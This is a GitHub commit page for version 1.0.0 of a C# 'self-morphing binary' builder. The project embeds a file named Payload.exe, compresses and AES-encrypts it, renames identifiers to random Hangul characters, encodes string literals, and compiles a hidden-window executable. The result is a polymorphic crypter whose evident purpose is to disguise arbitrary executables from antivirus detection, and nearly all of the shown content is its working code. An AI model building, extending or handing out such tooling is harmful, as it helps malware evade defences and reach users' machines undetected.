Skip to content

Commit aaf9783

Browse files
author
Martin Fischer
committed
1.0.0
1 parent 467a497 commit aaf9783

14 files changed

+867
-1
lines changed

‎.gitignore

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
.vs/
2+
bin/
3+
obj/
4+
Debug/
5+
Release/
6+
ipch/
7+
TestResults/
8+
*.suo
9+
*.user
10+
*.sdf
11+
*.opensdf
12+
*.opendb
13+
*.VC.db
14+
[Tt]humbs.db
15+
16+
$Build/

‎Build/Build.csproj

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
4+
<PropertyGroup>
5+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
6+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
7+
<ProjectGuid>{B91053D8-B41A-4329-B5D8-137872F4DAEE}</ProjectGuid>
8+
<OutputType>Exe</OutputType>
9+
<AppDesignerFolder>Properties</AppDesignerFolder>
10+
<RootNamespace>Build</RootNamespace>
11+
<AssemblyName>Build</AssemblyName>
12+
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
13+
<FileAlignment>512</FileAlignment>
14+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
15+
</PropertyGroup>
16+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
17+
<PlatformTarget>AnyCPU</PlatformTarget>
18+
<DebugSymbols>true</DebugSymbols>
19+
<DebugType>full</DebugType>
20+
<Optimize>false</Optimize>
21+
<OutputPath>bin\Debug\</OutputPath>
22+
<DefineConstants>DEBUG;TRACE</DefineConstants>
23+
<ErrorReport>prompt</ErrorReport>
24+
<WarningLevel>4</WarningLevel>
25+
</PropertyGroup>
26+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
27+
<PlatformTarget>AnyCPU</PlatformTarget>
28+
<DebugType>pdbonly</DebugType>
29+
<Optimize>true</Optimize>
30+
<OutputPath>bin\Release\</OutputPath>
31+
<DefineConstants>TRACE</DefineConstants>
32+
<ErrorReport>prompt</ErrorReport>
33+
<WarningLevel>4</WarningLevel>
34+
</PropertyGroup>
35+
<ItemGroup>
36+
<Reference Include="System" />
37+
<Reference Include="System.Windows.Forms" />
38+
</ItemGroup>
39+
<ItemGroup>
40+
<Compile Include="Program.cs" />
41+
<Compile Include="Properties\Resources.Designer.cs">
42+
<AutoGen>True</AutoGen>
43+
<DesignTime>True</DesignTime>
44+
<DependentUpon>Resources.resx</DependentUpon>
45+
</Compile>
46+
<Resource Include="Resources\Stub.cs" />
47+
</ItemGroup>
48+
<ItemGroup>
49+
<EmbeddedResource Include="Properties\Resources.resx">
50+
<Generator>ResXFileCodeGenerator</Generator>
51+
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
52+
</EmbeddedResource>
53+
</ItemGroup>
54+
<ItemGroup>
55+
<Resource Include="Resources\Payload.exe" />
56+
</ItemGroup>
57+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
58+
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
59+
Other similar extension points exist, see Microsoft.Common.targets.
60+
<Target Name="BeforeBuild">
61+
</Target>
62+
<Target Name="AfterBuild">
63+
</Target>
64+
-->
65+
</Project>

‎Build/Program.cs

+109
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
using Build.Properties;
2+
using System;
3+
using System.CodeDom.Compiler;
4+
using System.IO;
5+
using System.IO.Compression;
6+
using System.Linq;
7+
using System.Security.Cryptography;
8+
using System.Text;
9+
using System.Windows.Forms;
10+
11+
namespace Build
12+
{
13+
public static class Program
14+
{
15+
private static Random Random = new Random(Environment.TickCount);
16+
private static string ObfuscationCharacters = "각갂갃간갅갆갇갈갉갊갋갌갍갎갏감갑값갓갔강갖갗갘같갚갛개객갞갟갠갡갢갣갤갥갦갧갨갩갪갫갬갭갮갯";
17+
18+
public static void Main(string[] args)
19+
{
20+
CodeDomProvider compiler = CodeDomProvider.CreateProvider("CSharp");
21+
string outputAssembly = Path.Combine(Application.StartupPath, GetVariableName() + ".exe");
22+
23+
CompilerParameters parameters = new CompilerParameters
24+
{
25+
GenerateExecutable = true,
26+
GenerateInMemory = true,
27+
OutputAssembly = outputAssembly,
28+
CompilerOptions = "/target:winexe /platform:x86"
29+
};
30+
31+
parameters.ReferencedAssemblies.Add("mscorlib.dll");
32+
parameters.ReferencedAssemblies.Add("System.dll");
33+
parameters.ReferencedAssemblies.Add("System.Core.dll");
34+
parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
35+
36+
string stubCode = string.Join("\r\n", Resources.Stub.Replace("\r\n", "\n").Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries));
37+
38+
while (stubCode.Contains("_V_"))
39+
{
40+
string variableName = new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray());
41+
stubCode = stubCode.Replace(variableName, variableName == "_V_DecryptString" ? "_@_DecryptString" : "_@_" + GetCleanVariableName());
42+
}
43+
stubCode = stubCode.Replace("_@_", "_V_");
44+
45+
stubCode = stubCode.Replace("_CONST_EncryptedStubCode", "new byte[]{" + string.Join(",", Encrypt(Compress(Encoding.UTF8.GetBytes(stubCode))).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");
46+
stubCode = stubCode.Replace("_CONST_EncryptedPayload", "new byte[]{" + string.Join(",", Encrypt(Compress(Resources.Payload)).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");
47+
48+
while (stubCode.Contains("\""))
49+
{
50+
int start = stubCode.IndexOf('"');
51+
string stringLiteral = stubCode.Substring(start, stubCode.IndexOf('"', start + 1) - start + 1);
52+
stubCode = stubCode.Replace(stringLiteral, "_V_DecryptString(@" + EncryptString(stringLiteral.Substring(1, stringLiteral.Length - 2)) + "@)");
53+
}
54+
while (stubCode.Contains("_V_"))
55+
{
56+
stubCode = stubCode.Replace(new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray()), GetVariableName());
57+
}
58+
stubCode = stubCode.Replace('@', '"');
59+
60+
File.WriteAllText("Debug_SelfMorphingCSharpBinary.cs", stubCode);
61+
62+
compiler.CompileAssemblyFromSource(parameters, stubCode);
63+
string destinationAssembly = "SelfMorphingCSharpBinary.exe";
64+
File.Delete(destinationAssembly);
65+
File.Move(outputAssembly, destinationAssembly);
66+
}
67+
68+
private static byte[] Compress(byte[] data)
69+
{
70+
MemoryStream memoryStream = new MemoryStream();
71+
GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress, true);
72+
gzipStream.Write(data, 0, data.Length);
73+
gzipStream.Close();
74+
memoryStream.Position = 0;
75+
byte[] compressedData = new byte[memoryStream.Length];
76+
memoryStream.Read(compressedData, 0, compressedData.Length);
77+
byte[] compressedBuffer = new byte[compressedData.Length + 4];
78+
Buffer.BlockCopy(compressedData, 0, compressedBuffer, 4, compressedData.Length);
79+
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, compressedBuffer, 0, 4);
80+
return compressedBuffer;
81+
}
82+
private static byte[] Encrypt(byte[] data)
83+
{
84+
Aes aes = Aes.Create();
85+
aes.GenerateIV();
86+
aes.Key = aes.IV;
87+
MemoryStream memoryStream = new MemoryStream();
88+
memoryStream.Write(aes.Key, 0, 16);
89+
CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write);
90+
cryptoStream.Write(data, 0, data.Length);
91+
cryptoStream.Close();
92+
return memoryStream.ToArray();
93+
}
94+
private static string EncryptString(string str)
95+
{
96+
int key = Random.Next(256);
97+
return (char)(key + 42784) + new string(str.Select(ch => (char)((ch ^ key) + 42784)).ToArray());
98+
}
99+
private static string GetVariableName()
100+
{
101+
return new string(Enumerable.Range(0, Random.Next(5, 15)).Select(i => ObfuscationCharacters[Random.Next(ObfuscationCharacters.Length)]).ToArray());
102+
}
103+
private static string GetCleanVariableName()
104+
{
105+
const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890_";
106+
return new string(Enumerable.Range(0, Random.Next(5, 15)).Select(i => chars[Random.Next(chars.Length)]).ToArray());
107+
}
108+
}
109+
}

‎Build/Properties/Resources.Designer.cs

+100
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)